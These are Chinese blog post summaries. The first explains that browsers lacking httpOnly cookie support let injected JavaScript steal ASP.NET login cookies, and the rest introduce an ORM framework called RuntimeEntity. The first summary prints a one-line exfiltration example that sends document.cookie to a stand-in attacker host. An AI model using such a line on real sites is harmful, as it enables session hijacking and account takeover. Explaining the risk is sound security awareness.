摘要: 自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性. 这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie . 而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性. 但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果? 例如 , 假如你用FireFox登录博客园(www.cnblogs.com), 然后到一个恶意的用户的文章去. 你知道cnblogs.com允许用户随意增加javascript的. 那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去: hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie) 当然,ASP.NET发送给客户端的信息是加密过的. 但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.   所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗. 但是如果使用IE6SP1,IE7,就不会存在该问题. 因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息....[阅读全文]

摘要:RuntimeEntity除了简单易用,性能优越之外. 还有一些很有特色的机制:负载平衡下的缓存版本控制.通常如果一个使用缓存的应用程序,都会遇到一个问题:如何保证每个进程的缓存都是最新的?如果每个进程中的数据不是最新,那么一个应用程序将会发生不可预知的错误.这种不稳定性是会让人睡不了觉的.通常一些系统会有这样的做法:1.完全不做缓存的同步或检查 , 错误就错误, 由它.有时候这种做法也是无奈的,因为项目资金有限,或者架构上已经定型.不好处理.2.使用分布式架构, 用一台服务器访问数据/或者缓存数据.这个做法的最大问题就是导致序列化的开销. 大大地降低系统性能.RuntimeEntity使用一种特殊的缓存方案. 具体的原理是,在每台服务器上, 都自行存放数据.当服务器上的代码通过RuntimeEntity加载数据时,RuntimeEntity会去向"版本服务器"查询数据的版本.也就是说,这个方案和分布式缓存最大的不同就是 ,每台服务器需要较大的内存 , 但是只进行极少的数据通信, 完全避免序列化.这个方案通过配置完成. 完全不需要改动代码. 使用RuntimeEntity编写一次代码 , 就轻易实现在性能方面的伸缩性要求.数据库服务器端并发检查RuntimeEntity提供了2个级别的并发检查. 默认是应用程序进程内的对象的自动锁定,尽量避免并发问题.一旦出现数据的并发错误,就会抛出异常,阻止错误的操作,保证数据的正确性.这种级别的并发检查, 适合部署在单进程的Web服务器中.一旦需要部署在多个服务器中进行负载平衡 , 那么单靠进程内检查是远远不够的.所以RuntimeEntity提供了,和DLinq类似的, 数据库服务器端的并发检查.一旦要进行UPDATE/DELETE,就会发送所有的本地数据到数据库上进行比较.这个操作会稍微降低性能. 但是它是可选的. 只需要进行配置就OK. 无需额外编码.开发人员还可以使用Timestamp类型进行更好的检查机制.(在数据表加一个Timestamp字段就OK了,无需编码)这个也是数据库服务器端的检查,而且性能更好.强大的子类化扩展方案当一家软件公司希望开发通用的应用程序时, 总会遇到一个问题:如何在不修改现有代码的情况下,改变系统的默认行为,针对具体情况进行扩展?RuntimeEntity在不改动代码的情况下, 直接提供一个子类化的扩展方案.具体原理就是RuntimeEntity的代码编写中, 是不存在new MyRecord()这样的创建对象的方式的.任何NewRow,LoadRow操作创建对象,都是由RuntimeEntity代理.当进行适当的配置后, 在执行例如RuntimeEntity.NewRow<MyEntity>()的时候,RuntimeEntity就可以根据配置, 创建一个 MyAnotherEntity 对象:public abstract class MyAnotherEntity : MyEntity{    override public void MyLogic()    {        base.MyLogic();        MyCustomOperation();    }}就如上面代码所示 , 通过override一个业务方法 , 直接就可以重写业务逻辑.灵活,高性能的AOP方案RuntimeEntity在运行的时候, 根据配置, 允许其他类拦截Entity上的virtual的方法.这个功能非常有用. 尤其当架构师想实现一些插件,扩展功能的时候.当一个Entity的任何virtual方法被调用,或者是进行INSERT/UPDATE/DELETE的时候,都能通过配置的方式,让扩展的代码得到通知,获取改变参数/返回值. 而这个功能的实现方式, 是在运行时进行编译, 性能非常高. 而又无需安装VS插件之类的.- - - - - - - -这些高级的功能, 大多都是可以在运行时进行扩展. 而不需要改变编码规则. 这也是RuntimeEntity的名字的来由.RuntimeEntity Preview 中并不包含以上所列的功能....[阅读全文]

摘要:之前发过3个相关的文章:AbstractRecord 预告. (关键字 ORM,ActiveRecord,DomainModel)CSPAbstractRecord之Teddy's KB样式的性能报告.近况:AbstractRecord改名为RuntimeEntity,以及一个MVC框架的预告.因为最近比较忙. 所以一直没有继续做那个工程.现在稍微空闲了些. 所以把之前做的版本整理了一下. 提供下载:/Files/Lostinet/RuntimeEntityPreview.rar压缩文件内容简介:RuntimeEntityPreview.dll 这个dll就是框架的运行库.RuntimeEntityGenerator 使用这个帮助生成对应的类.(不是必须)RuntimeEntityPetshop 一个可以执行运行的例子. 根据PetShop改编. 需要关联Database文件夹内的数据库文件.RuntimeEntityStart 一个中文描述的Console程序. 用于帮助读者最快速度了解RuntimeEntity.什么人该下载它 ?一 : 看过之前的文章的,感兴趣的,想测试一下性能的.二 : 自己也写过数据库访问框架的,可以拿来对比一下.三 : 一直都没找到合适自己的数据库访问框架的.四 : 总觉得数据库访问框架很复杂,想学习又怕难的.... RuntimeEntityPreview有什么好玩的?+ : 极简单的代码编写与定制模式. 虽然比不上SubSonic方便,但是比SubSonic拥有更多的定制能力.+ : 极高性能的实现. 欢迎拿去与各种情况做性能的比较.+ : 有自制的Linq Provider. 可以执行这样的代码:var q = from row in Order.LinqSourcewhere row.Customer.City.Substring(3).Trim().StartsWith("don")select row;有兴趣的可以考虑用Reflector打开RuntimeEntityQuery<T>.QueryProvider研究一下.+ : 支持DLinq. 通过实现MappingSource,用DLinq来访问数据库:(但是目前RuntimeEntityMappingSource没有包含在RuntimeEntityPreview内)关于更加具体的,如何使用这个RunimeEntity,可以参考AbstractRecord预告那篇文章.或者参考这篇还没有开始写的文章: [占个位置 , 如何使用RuntimeEntity访问数据库]另外我们正在找有一年经验以上初中级的界面程序员:CuteSoft珠海办事处诚招2位界面程序员 ...[阅读全文]